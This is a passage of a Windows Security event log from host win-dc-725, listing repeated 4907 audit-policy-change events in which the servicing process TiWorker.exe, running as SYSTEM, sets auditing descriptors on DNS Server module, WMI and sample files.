	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerEdns_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247113
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDsSetting_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247112
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecZoneSetting_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247111
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecPublicKey_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247110
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDirectoryPartition_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247109
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDiagnostics_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247108
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerConditionalForwarder_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247107
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerClientSubnet_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247106
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerCache_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247105
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServer_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247104
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Types.ps1xml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247103
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Format.ps1xml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247102
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServer.psd1
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247101
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dnsserverpsprovider_uninstall.mfl
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247100
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dnsserverpsprovider.mfl
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247099
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dnsserverpsprovider.dll.mui
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247098
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dnsprov.mfl
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247097
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dnsetw.mfl
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247096
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\DnsServerPsProvider_Uninstall.mof
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247095
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\DnsServerPsProvider.mof
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247094
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dnsserverpsprovider.dll
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247093
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dnsprov.mof
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247092
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dnsprov.dll
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247091
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dnsetw.mof
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247090
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\DNSmgr.dll.mui
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247089
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dnsmgmt.msc
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247088
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dnscmd.exe.mui
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247087
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dns.exe.mui
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247086
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dns\samples\PLACE.DNS
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247085
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dns\samples\CACHE.DNS
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247084
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dns\samples\BOOT
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247083
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dns\samples\192.DNS
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247082
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dnsperf.dll
	Handle ID:	0x7c8

